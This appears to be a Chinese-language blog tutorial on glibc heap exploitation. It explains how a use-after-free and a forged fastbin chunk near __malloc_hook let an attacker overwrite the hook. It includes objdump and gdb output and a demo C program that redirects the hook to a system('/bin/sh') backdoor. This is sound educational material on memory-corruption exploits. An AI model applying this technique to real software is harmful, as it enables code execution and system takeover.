[heap] __malloc_hook初体验
在Arbitrary Alloc 的学习中,不可避免的一种用法就是通过字节偏移伪造size域绕过malloc的检测从而在__malloc_hook处伪造一个chunk,达到任意写的目的。
__malloc_hook的作用
__malloc_hook是glibc中的一个函数指针变量,它的原型如下:
/*第一个同malloc的size参数,第二个参数是调用malloc的那个函数的地址*/
void * function(size_t size, void * caller)
可见其实__malloc_hook相当于给malloc函数套了一层外壳,当这个函数指针的值不为NULL时,系统在调用malloc是就会触发这个hook,执行hook所指向的函数。合理构造该函数就可以达到自定义malloc的行为,捕获甚至控制返回值。于是我们想到通过之前的uaf和fastbin相关的知识,把堆块构造到该处便可以修改hook函数为自定义位置的函数,达到getshell的目的。
类似的还有__free_hook, __realloc_hook 等,原理大同小异
分析构造思路
为了试验方便,首先关闭Linux系统的ASLR功能。
以下部分步骤由于系统差异可能稍有不同,所以只讲大概思路
1. objdump查看系统对应版本glibc中__malloc_hook的偏移量
$ objdump libc.so.6 -D -M intel | grep __malloc_hook
...
00000000003c4b10 <__malloc_hook@@GLIBC_2.2.5>:
得到偏移 0x3c4b10,加上当前系统glibc加载时的基址 0x00007ffff7a0d000 推算出程序运行时其在内存中的位置为 0x00007ffff7dd1b10。
2. gdb调试寻找合适的字节
利用uaf的方法,构造已经释放的fastchunk的fd域,从而在fastbin中伪造出一个chunk,通过malloc便可以修改该chunk内容。那么关键就在于,需要在__malloc_hook附近找到一个合适的字节,能构造成一个在fastbin范围内(64位:0x20 ~ 0x80)且包含了要控制的部分在内的size域。
随便写一个程序(因为要在动态环境下分析glibc的变量),在gdb中查看刚刚算出来的__malloc_hook附近的字节:
0x7ffff7dd1ae0 <_IO_wide_data_0+288>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7dd1ae8 <_IO_wide_data_0+296>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x60 0x02 0xdd 0xf7 0xff 0x7f 0x00 0x00
0x7ffff7dd1af8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7dd1b00 <__memalign_hook>: 0x20 0x2e 0xa9 0xf7 0xff 0x7f 0x00 0x00
0x7ffff7dd1b08 <__realloc_hook>: 0x00 0x2a 0xa9 0xf7 0xff 0x7f 0x00 0x00
0x7ffff7dd1b10 <__malloc_hook>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7dd1b18: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7dd1b20 <main_arena>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
观察发现,在0x7ffff7dd1af5的位置可以构造出0x000000000000007fL,而由计算fastbin_index的宏:
##define fastbin_index(sz) \ ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
可以知道若用这个字节构造chunk,对应的应该是size为0x70的chunk(此处指整个chunk的大小),于是我们uaf应该在0x70的fastbin上进行。
至此可以得出思路:修改已知chunk的fd域到该字节位置 -> 通过malloc或者__malloc_hook处伪造的chunk -> 然后计算好偏移,修改__malloc__hook的值到我们预先安排好的backdoor的地址 -> 运行&getshell
3. 编写一个demo检验一下
#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
/*backdoor function*/
void getshell(void){
system("/bin/sh");
}
int main(void)
{
void *chunk1;
void *chunk_a;
long long * malloc_hook;
chunk1=malloc(0x60);
printf("chunk_1 : %p\n",chunk1);
free(chunk1);
puts("Create fastbin.");
/*修改fd域*/
*(long long *)chunk1=0x7ffff7dd1af5-0x8;
malloc(0x60);
chunk_a=malloc(0x60);
printf("chunk_a : %p\n",chunk_a);
/*通过偏移计算出__malloc_hook的位置并修改至getshell函数*/
malloc_hook=(long long *)((long long)chunk_a+0x13);
*malloc_hook=0x400646L;
printf("__malloc_hook_value : %lld\n",*malloc_hook);
/*再次malloc触发钩子*/
malloc(60);
return 0;
}
总结
该篇简单介绍了__malloc_hook的利用方式,其中最关键的是偏移的计算,需要一定的耐心和细心。
谢谢阅读,欢迎评论指正!